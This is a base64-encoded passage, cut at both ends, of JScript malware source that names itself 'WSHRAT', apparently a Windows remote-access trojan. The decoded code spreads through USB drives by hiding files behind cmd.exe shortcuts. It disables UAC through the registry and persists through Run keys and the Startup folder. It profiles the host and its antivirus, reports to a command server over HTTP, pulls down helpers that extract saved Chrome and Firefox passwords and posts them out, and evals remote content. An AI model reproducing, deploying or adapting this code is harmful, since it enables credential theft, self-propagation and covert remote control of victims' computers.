AgICBmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aCArICJcXCIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewoJCXRyeXsKCQl2YXIgZmlsZSA9IGZpLml0ZW0oKTsKICAgICAgICBpZiAobG5rZmlsZSA9PSBmYWxzZSl7YnJlYWs7fQogICAgICAgIGlmIChmaWxlLm5hbWUuaW5kZXhPZigiLiIpKXsKICAgICAgICAgICAgaWYgKChmaWxlLm5hbWUuc3BsaXQoIi4iKVtmaWxlLm5hbWUuc3BsaXQoIi4iKS5sZW5ndGggLSAxXSkudG9Mb3dlckNhc2UoKSAhPSAibG5rIil7CiAgICAgICAgICAgICAgICBmaWxlLmF0dHJpYnV0ZXMgPSAyKzQ7CiAgICAgICAgICAgICAgICBpZiAoZmlsZS5uYW1lLnRvVXBwZXJDYXNlKCkgIT0gaW5zdGFsbG5hbWUudG9VcHBlckNhc2UoKSl7CiAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsKICAgICAgICAgICAgICAgICAgICBsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVTaG9ydGN1dChkcml2ZS5wYXRoICsgIlxcIiAgKyBmaWxlbmFtZVswXSArICIubG5rIik7CiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLndpbmRvd1N0eWxlID0gNzsKICAgICAgICAgICAgICAgICAgICBsbmtvYmoudGFyZ2V0UGF0aCA9ICJjbWQuZXhlIjsKICAgICAgICAgICAgICAgICAgICBsbmtvYmoud29ya2luZ0RpcmVjdG9yeSA9ICIiOwogICAgICAgICAgICAgICAgICAgIGxua29iai5hcmd1bWVudHMgPSAiL2Mgc3RhcnQgIiArIGluc3RhbGxuYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsgIiZzdGFydCAiICsgZmlsZS5uYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsiJmV4aXQiOwogICAgICAgICAgICAgICAgICAgIHRyeXtmaWxlaWNvbiA9IHNoZWxsb2JqLlJlZ1JlYWQgKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxjbGFzc2VzXFwiICsgc2hlbGxvYmouUmVnUmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXGNsYXNzZXNcXC4iICsgZmlsZS5uYW1lLnNwbGl0KCIuIilbZmlsZS5uYW1lLnNwbGl0KCIuIikubGVuZ3RoIC0gMV0rICJcXCIpICsgIlxcZGVmYXVsdGljb25cXCIpOyB9Y2F0Y2goZWVlZSl7fQogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlaWNvbi5pbmRleE9mKCIsIikgPT0gMCl7IAogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbkxvY2F0aW9uID0gZmlsZS5wYXRoOwogICAgICAgICAgICAgICAgICAgIH1lbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgbG5rb2JqLmljb25Mb2NhdGlvbiA9IGZpbGVpY29uOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBsbmtvYmouc2F2ZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoJCX1jYXRjaChlcnIpe30KICAgIH0KCWZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl0cnl7CgkJdmFyIGZvbGRlciA9IGZpLml0ZW0oKTsKICAgICAgICBpZiAobG5rZm9sZGVyID09IGZhbHNlKXticmVhazt9CiAgICAgICAgZm9sZGVyLmF0dHJpYnV0ZXMgPSAyKzQ7CiAgICAgICAgZm9sZGVybmFtZSA9IGZvbGRlci5uYW1lOwogICAgICAgIGxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZVNob3J0Y3V0KGRyaXZlLnBhdGggKyAiXFwiICArIGZvbGRlcm5hbWUgKyAiLmxuayIpOyAKICAgICAgICBsbmtvYmoud2luZG93U3R5bGUgPSA3OwogICAgICAgIGxua29iai50YXJnZXRQYXRoID0gImNtZC5leGUiOwogICAgICAgIGxua29iai53b3JraW5nRGlyZWN0b3J5ID0gIiI7CiAgICAgICAgbG5rb2JqLmFyZ3VtZW50cyA9ICIvYyBzdGFydCAiICsgaW5zdGFsbG5hbWUucmVwbGFjZShuZXcgUmVnRXhwKCIgIiwgImciKSwgIlwiIFwiIikgKyAiJnN0YXJ0IGV4cGxvcmVyICIgKyBmb2xkZXIubmFtZS5yZXBsYWNlKG5ldyBSZWdFeHAoIiAiLCAiZyIpLCAiXCIgXCIiKSArIiZleGl0IjsKICAgICAgICBmb2xkZXJpY29uID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcY2xhc3Nlc1xcZm9sZGVyXFxkZWZhdWx0aWNvblxcIik7IAogICAgICAgIGlmIChmb2xkZXJpY29uLmluZGV4T2YoIiwiKSA9PSAwKXsKICAgICAgICAgICAgbG5rb2JqLmljb25Mb2NhdGlvbiA9IGZvbGRlci5wYXRoOwogICAgICAgIH1lbHNlIHsKICAgICAgICAgICAgbG5rb2JqLmljb25Mb2NhdGlvbiA9IGZvbGRlcmljb247CiAgICAgICAgfQogICAgICAgIGxua29iai5zYXZlKCk7CgkJfWNhdGNoKGVycil7fQogICAgfQp9Cn0KfQp9Cn0KCmZ1bmN0aW9uIHN0YXJ0dXBFbGV2YXRlKCl7CglpZihXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoImVsZXZhdGVkIikgPT0gZmFsc2UpewoJCXRyeXsKCQkJV1NjcmlwdC5DcmVhdGVPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJ3c2NyaXB0LmV4ZSIsICIgLy9CIFwiIiArIFdTY3JpcHQuU2NyaXB0RnVsbE5hbWUgKyAiXCIgL2VsZXZhdGVkIiwgIiIsICJydW5hcyIsIDEpOwoJCX1jYXRjaChubil7CgkJfQoJCVdTY3JpcHQucXVpdCgpOwoJfQp9CgpmdW5jdGlvbiBkaXNhYmxlU2VjdXJpdHkoKXsKCWlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKSA9PSB0cnVlKXsKCQl2YXIgb1JlZyA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGRlZmF1bHQ6U3RkUmVnUHJvdiIpOwoJCW9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMDAwMDAyLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkVuYWJsZUxVQSIsIDApOwoJCW9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMDAwMDAyLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkNvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluIiwgMCk7CgkJb1JlZyA9IG51bGw7Cgl9Cn0KCmZ1bmN0aW9uIHVuaW5zdGFsbCgpewp0cnl7CnZhciBmaWxlbmFtZTsKdmFyIGZvbGRlcm5hbWU7CnRyeXsKICAgIHNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9DVVJSRU5UX1VTRVJcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdKTsKICAgIHNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSk7Cn1jYXRjaChlaSl7fQp0cnl7CmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShzdGFydHVwICsgaW5zdGFsbG5hbWUgLHRydWUpOwpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZSAsdHJ1ZSk7Cn1jYXRjaChlZWope30KZm9yKHZhciBkcmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmRyaXZlcyk7ICFkcmkuYXRFbmQoKTsgZHJpLm1vdmVOZXh0KCkpewp2YXIgZHJpdmUgPSBkcmkuaXRlbSgpOwppZiAoZHJpdmUuaXNyZWFkeSA9PSB0cnVlKXsKaWYgKGRyaXZlLmZyZWVzcGFjZSA+IDAgKXsKaWYgKGRyaXZlLmRyaXZldHlwZSA9PSAxICl7Cglmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aCArICJcXCIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogICAgICAgICB2YXIgZmlsZSA9IGZpLml0ZW0oKTsKCQkgdHJ5ewogICAgICAgICBpZiAoZmlsZS5uYW1lLmluZGV4T2YoIi4iKSl7CiAgICAgICAgICAgICBpZiAoKGZpbGUubmFtZS5zcGxpdCgiLiIpW2ZpbGUubmFtZS5zcGxpdCgiLiIpLmxlbmd0aCAtIDFdKS50b0xvd2VyQ2FzZSgpICE9ICJsbmsiKXsKICAgICAgICAgICAgICAgICBmaWxlLmF0dHJpYnV0ZXMgPSAwOwogICAgICAgICAgICAgICAgIGlmIChmaWxlLm5hbWUudG9VcHBlckNhc2UoKSAhPSBpbnN0YWxsbmFtZS50b1VwcGVyQ2FzZSgpKXsKICAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsKICAgICAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGRyaXZlLnBhdGggKyAiXFwiICsgZmlsZW5hbWVbMF0gKyAiLmxuayIgKTsKICAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGRyaXZlLnBhdGggKyAiXFwiICsgZmlsZS5uYW1lKTsKICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUgKGZpbGUucGF0aCk7CiAgICAgICAgICAgICB9CiAgICAgICAgIH0KCQkgfWNhdGNoKGV4KXt9CiAgICAgfQoJIGZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl2YXIgZm9sZGVyID0gZmkuaXRlbSgpOwogICAgICAgICBmb2xkZXIuYXR0cmlidXRlcyA9IDA7CiAgICAgfQp9Cn0KfQp9Cn1jYXRjaChlcnIpe30KV1NjcmlwdC5xdWl0KCk7Cn0KCmZ1bmN0aW9uIHBvc3QgKGNtZCAscGFyYW0pewp0cnl7Cmh0dHBvYmoub3BlbigicG9zdCIsImh0dHA6Ly8iICsgaG9zdCArICI6IiArIHBvcnQgKyIvIiArIGNtZCwgZmFsc2UpOwpodHRwb2JqLnNldFJlcXVlc3RIZWFkZXIoInVzZXItYWdlbnQ6IixpbmZvcm1hdGlvbigpKTsKaHR0cG9iai5zZW5kKHBhcmFtKTsKcmV0dXJuIGh0dHBvYmoucmVzcG9uc2VUZXh0Owp9Y2F0Y2goZXJyKXsKCXJldHVybiAiIjsKfQp9CgpmdW5jdGlvbiBpbmZvcm1hdGlvbigpewp0cnl7CmlmIChpbmYgPT0gIiIpewogICAgaW5mID0gaHdpZCgpICsgc3BsaXRlcjsKICAgIGluZiA9IGluZiAgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVjb21wdXRlcm5hbWUlIikgKyBzcGxpdGVyIDsKICAgIGluZiA9IGluZiAgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV1c2VybmFtZSUiKSArIHNwbGl0ZXI7CgogICAgdmFyIHJvb3QgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOwogICAgdmFyIG9zID0gcm9vdC5FeGVjUXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIpOwogICAKCWZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihvcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl2YXIgb3NpbmZvID0gZmkuaXRlbSgpOwogICAgICAgaW5mID0gaW5mICsgb3NpbmZvLmNhcHRpb24gKyBzcGxpdGVyOyAgCiAgICAgICBicmVhazsKICAgIH0KICAgIGluZiA9IGluZiArICJwbHVzIiArIHNwbGl0ZXI7CiAgICBpbmYgPSBpbmYgKyBzZWN1cml0eSgpICsgc3BsaXRlcjsKICAgIGluZiA9IGluZiArIHVzYnNwcmVhZGluZzsKICAgIGluZiA9ICJXU0hSQVQiICsgc3BsaXRlciArIGluZiArIHNwbGl0ZXIgKyAiSmF2YVNjcmlwdC12MS42IiA7CiAgICByZXR1cm4gaW5mOwp9ZWxzZXsKICAgIHJldHVybiBpbmY7Cn0KfWNhdGNoKGVycil7CglyZXR1cm4gIiI7Cn0KfQoKCmZ1bmN0aW9uIHVwc3RhcnQgKCl7CnRyeXsKdHJ5ewogICAgc2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfQ1VSUkVOVF9VU0VSXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSwgICJ3c2NyaXB0LmV4ZSAvL0IgXCIiICsgaW5zdGFsbGRpciArIGluc3RhbGxuYW1lICsgIlwiIiAsICJSRUdfU1oiKTsKICAgIHNoZWxsb2JqLlJlZ1dyaXRlKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdLCAgIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgKyAiXCIiICwgIlJFR19TWiIpOwp9Y2F0Y2goZWkpe30KZmlsZXN5c3RlbW9iai5jb3B5RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLCBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUsIHRydWUpOwpmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUsIHN0YXJ0dXAgKyBpbnN0YWxsbmFtZSwgdHJ1ZSk7Cn1jYXRjaChlcnIpe30KfQoKCmZ1bmN0aW9uIGh3aWQoKXsKdHJ5ewp2YXIgcm9vdCA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7CnZhciBkaXNrcyA9IHJvb3QuRXhlY1F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpOwpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZGlza3MpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7CnZhciBkaXNrID0gZmkuaXRlbSgpOwogICAgaWYgKGRpc2sudm9sdW1lU2VyaWFsTnVtYmVyICE9ICIiKXsKICAgICAgICByZXR1cm4gZGlzay52b2x1bWVTZXJpYWxOdW1iZXI7CiAgICAgICAgYnJlYWs7CiAgICB9Cn0KfWNhdGNoKGVycil7CglyZXR1cm4gIiI7Cn0KfQoKCmZ1bmN0aW9uIHNlY3VyaXR5KCl7CnRyeXsKdmFyIG9iandtaXNlcnZpY2UgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOwp2YXIgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLkV4ZWNRdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iLG51bGwsNDgpOwoKdmFyIHZlcnNpb25zdHIsIG9zdmVyc2lvbjsKZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogICAgdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7CiAgICB2ZXJzaW9uc3RyID0gb2JqaXRlbS52ZXJzaW9uLnRvU3RyaW5nKCkuc3BsaXQoIi4iKTsKfQoKLy92ZXJzaW9uc3RyID0gY29saXRlbXMudmVyc2lvbi5zcGxpdCgiLiIpOwpvc3ZlcnNpb24gPSB2ZXJzaW9uc3RyWzBdICsgIi4iOwpmb3IgKHZhciB4ID0gMTsgeCA8IHZlcnNpb25zdHIubGVuZ3RoOyB4KyspewoJIG9zdmVyc2lvbiA9IG9zdmVyc2lvbiArIHZlcnNpb25zdHJbMF07Cn0KCm9zdmVyc2lvbiA9IGV2YWwob3N2ZXJzaW9uKTsKdmFyIHNjOwppZiAob3N2ZXJzaW9uID4gNil7IHNjID0gInNlY3VyaXR5Y2VudGVyMiI7IH1lbHNleyBzYyA9ICJzZWN1cml0eWNlbnRlciI7fQoKdmFyIG9ianNlY3VyaXR5Y2VudGVyID0gR2V0T2JqZWN0KCJ3aW5tZ210czpcXFxcbG9jYWxob3N0XFxyb290XFwiICsgc2MpOwp2YXIgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLCAid3FsIiwgMCk7CnZhciBzZWN1ID0gIiI7CmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihjb2xhbnRpdmlydXMpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7Cgl2YXIgb2JqYW50aXZpcnVzID0gZmkuaXRlbSgpOwogICAgc2VjdSA9IHNlY3UgICsgb2JqYW50aXZpcnVzLmRpc3BsYXlOYW1lICsgIiAuIjsKfQppZihzZWN1ID09ICIiKXtzZWN1ID0gIm5hbi1hdiI7fQpyZXR1cm4gc2VjdTsKfWNhdGNoKGVycil7fQp9CmZ1bmN0aW9uIGdldERhdGUoKXsKICAgIHZhciBzID0gIiI7CiAgICB2YXIgZCA9IG5ldyBEYXRlKCk7ICAgICAgICAgICAgICAKICAgIHMgKz0gZC5nZXREYXRlKCkgKyAiLyI7ICAgICAgICAgIAogICAgcyArPSAoZC5nZXRNb250aCgpICsgMSkgKyAiLyI7IAogICAgcyArPSBkLmdldFllYXIoKTsKICAgIHJldHVybiBzOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfQpmdW5jdGlvbiBpbnN0YW5jZSgpewp0cnl7CnRyeXsKdXNic3ByZWFkaW5nID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIiArIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gKyAiXFwiKTsKfWNhdGNoKGVlZSl7fQppZih1c2JzcHJlYWRpbmcgPT0gIiIpewogICBpZiAoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZS5zdWJzdHIoMSkudG9Mb3dlckNhc2UoKSA9PSAiOlxcIiArICBpbnN0YWxsbmFtZS50b0xvd2VyQ2FzZSgpKXsKICAgICAgdXNic3ByZWFkaW5nID0gInRydWUgLSAiICsgZ2V0RGF0ZSgpOwogICAgICB0cnl7c2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQogICAgfWVsc2V7CiAgICAgIHVzYnNwcmVhZGluZyA9ICJmYWxzZSAtICIgKyBnZXREYXRlKCk7CiAgICAgIHRyeXtzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIiArIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQogICAgfQp9Cgp1cHN0YXJ0KCk7Cgp2YXIgc2NyaXB0ZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldEZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZSk7CnZhciBpbnN0YWxsZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldEZpbGUoaW5zdGFsbGRpciArIGluc3RhbGxuYW1lKTsKaWYgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkgIT0gaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkpeyAKICAgIHNoZWxsb2JqLnJ1bigid3NjcmlwdC5leGUgLy9CIFwiIiArIGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZSArICJcIiIpOwogICAgV1NjcmlwdC5xdWl0KCk7IAp9Cm9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKTsKCn1jYXRjaChlcnIpewogICAgV1NjcmlwdC5xdWl0KCk7Cn0KfQoKZnVuY3Rpb24gZGVjb2RlX2Jhc2U2NChiYXNlNjRfc3RyaW5nKXsKCXZhciB5aG1fcGVwZSA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKTsKCXZhciBzcGlrZSA9IChXU2NyaXB0LkNyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpKS5jcmVhdGVFbGVtZW50KCJ0bXAiKTsKCXNwaWtlLmRhdGFUeXBlID0gImJpbi5iYXNlNjQiOwoJc3Bpa2UudGV4dCA9IGJhc2U2NF9zdHJpbmc7Cgl5aG1fcGVwZS5UeXBlID0gMTsKCXlobV9wZXBlLk9wZW4oKTsKCXlobV9wZXBlLldyaXRlKHNwaWtlLm5vZGVUeXBlZFZhbHVlKTsKCXlobV9wZXBlLlBvc2l0aW9uID0gMDsKCXlobV9wZXBlLlR5cGUgPSAyOwoJeWhtX3BlcGUuQ2hhclNldCA9ICJ1cy1hc2NpaSI7CglyZXR1cm4geWhtX3BlcGUuUmVhZFRleHQoKTsKfQoKZnVuY3Rpb24gZGVjb2RlX3Bhc3MocmV0Y21kKXsKCXRyeXsKCQl2YXIgY29udGVudCwgbnNzLCBjb21tYW5kOwoJCWlmKHJldGNtZCA9PSAibW96aWxsYSIpewoJCQljb21tYW5kID0gImdpdmUtbWUtZmZwdiI7CgkJfWVsc2UgaWYocmV0Y21kID09ICJjaHJvbWUiKXsKCQkJY29tbWFuZCA9ICJnaXZlLW1lLWNocHYiOwoJCX0KCQl2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7CgkJb2JqaHR0cGRvd25sb2FkLm9wZW4oInBvc3QiLCAiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydCArIi8iICsgY29tbWFuZCwgZmFsc2UpOwoJCW9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJ1c2VyLWFnZW50OiIsIGluZm9ybWF0aW9uKCkpOwoJCW9iamh0dHBkb3dubG9hZC5zZW5kKCIiKTsKCgkJaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGluc3RhbGxkaXIgKyAicnVuZGxsIikpewoJCQlmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoaW5zdGFsbGRpciArICJydW5kbGwiKTsKCQl9CgkJCgkJaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsKCQkgIHRyeXsKCQkgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOyAKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CgkJICAgb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CgkJICAgb2Jqc3RyZWFtZG93bmxvYWQuUG9zaXRpb24gPSAwOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAyOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkLkNoYXJTZXQgPSAidXMtYXNjaWkiOwoJCSAgIGNvbnRlbnQgPSBvYmpzdHJlYW1kb3dubG9hZC5SZWFkVGV4dCgpOwoJCSAgIG5zcyA9IHNka3BhdGggKyAiXFxuc3MiOwoJCSAgIGNvbnRlbnQgPSBjb250ZW50LnJlcGxhY2UobmV3IFJlZ0V4cCgiJW5zcyUiLCAiZyIpLCBuc3MpOyAvL2ZvciBmaXJlZm94CgkJICAgY29udGVudCA9IGNvbnRlbnQucmVwbGFjZShuZXcgUmVnRXhwKCIlcGF0aCUiLCAiZyIpLCBpbnN0YWxsZGlyICsgIkxvZ2luIERhdGEiKTsgLy9mb3IgY2hyb21lCgkJICAgdmFyIHN3ID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoaW5zdGFsbGRpciArICJydW5kbGwiLCAyLCB0cnVlKTsKCQkgICBzdy53cml0ZShjb250ZW50KTsKCQkgICBzdy5jbG9zZSgpOwoJCSAgIHN3ID0gbnVsbDsKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQkgIH1jYXRjaChleil7fQoJCX0KCQkKCQlzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyBjZCBcIiIgKyBzZGtwYXRoICsgIlwiICYmICIgKyBnc3Aoc2RrZmlsZSkgKyAiICIgKyBnc3AoaW5zdGFsbGRpciArICJydW5kbGwiKSArICIgPiBcIiIgKyBpbnN0YWxsZGlyICsgIndzaG91dFwiIiwgMCwgdHJ1ZSk7CgkJV1NjcmlwdC5zbGVlcCgyMDAwKTsKCQl2YXIgc3IgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgIndzaG91dCIpOwoJCWNvbnRlbnQgPSBzci5yZWFkYWxsKCk7CgkJc3IuY2xvc2UoKTsKCQlzciA9IG51bGw7CgkJCgkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyAicnVuZGxsIik7CgkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyAid3Nob3V0Iik7CgkJCgkJcG9zdChyZXRjbWQsIGNvbnRlbnQpOwoJfWNhdGNoKGVycil7Cgl9Cn0KCmZ1bmN0aW9uIGNocihjb2RlKXsKCXJldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKGNvZGUpOwp9CgpmdW5jdGlvbiBnc3AocGF0aCl7CglyZXR1cm4gZmlsZXN5c3RlbW9iai5nZXRGaWxlKHBhdGgpLnNob3J0UGF0aDsKfQoKZnVuY3Rpb24gcGFzc2dyYWJiZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCByZXRjbWQpewp0cnl7Cgl2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKCXZhciBjb250ZW50LCBwcm9maWxlLCBmb2xkZXI7CgoJaWYgKHJldGNtZCA9PSAiaWUiKXsKCQljb250ZW50ID0gZGVjb2RlX2Jhc2U2NChmaWxldXJsKTsKCQlldmFsKGNvbnRlbnQpOwoJCXJldHVybjsKCX1lbHNlIGlmKHJldGNtZCA9PSAiY2hyb21lIil7CgkJZm9sZGVyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIldGVt